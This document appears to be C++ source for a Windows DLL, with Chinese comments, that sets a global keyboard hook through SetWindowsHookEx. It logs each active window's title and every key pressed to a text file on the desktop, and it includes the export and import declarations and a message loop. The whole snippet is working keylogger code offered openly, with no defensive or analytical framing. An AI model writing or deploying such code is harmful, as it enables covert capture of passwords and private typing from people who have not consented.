// 主消息循环: while (GetMessage(&msg, nullptr, 0, 0)){if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)){TranslateMessage(&msg);DispatchMessage(&msg);}}

#pragma once#include <Windows.h>
#include <stdio.h>//启动钩子
extern  "C" _declspec(dllexport) bool installHock();//卸载钩子
extern  "C" _declspec(dllexport) bool unistallHock();

//引入动态库
#pragma comment(lib , "hockdll")
//启动钩子
extern  "C" _declspec(dllimport) bool installHock();
//卸载钩子
extern  "C" _declspec(dllimport) bool unistallHock();

HHOOK g_hook;LRESULT CALLBACK keyPrpc(int code, WPARAM wParam, LPARAM lParam)
{char szWriteText[256];char szWindowTittle[256];char szKeyTest[256];HWND hWnd;hWnd = ::GetActiveWindow();if (hWnd == NULL){hWnd = ::GetForegroundWindow();if (hWnd == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);}//得到窗口的标题GetWindowTextA(hWnd, szWindowTittle, 256);//获取在在窗口输入的按键的内容if (code<0 || code == HC_NOREMOVE) return CallNextHookEx(g_hook, code, wParam, lParam);if (lParam & 0x40000000) return CallNextHookEx(g_hook, code, wParam, lParam);GetKeyNameTextA(lParam, szKeyTest, 256);sprintf(szWriteText, "%s:%s\r\n", szWindowTittle, szKeyTest);//保存到文件中FILE* fp = fopen("C:\\Users\\1\\Desktop\\haha.txt", "a");if (fp == NULL) return CallNextHookEx(g_hook, code, wParam, lParam);fwrite(szWriteText, 1, strlen(szWriteText), fp);fclose(fp);return CallNextHookEx(g_hook, code, wParam, lParam);
}//启动钩子
bool installHock()
{//获取按键的信息g_hook=SetWindowsHookEx(WH_KEYBOARD, keyPrpc, GetModuleHandle(L"hockdll"), NULL);if (g_hook == NULL) return false;MessageBox(NULL,L"设置钩子成功", L"提示",NULL);return true;
}//卸载钩子
bool unistallHock()
{return UnhookWindowsHookEx(g_hook);
}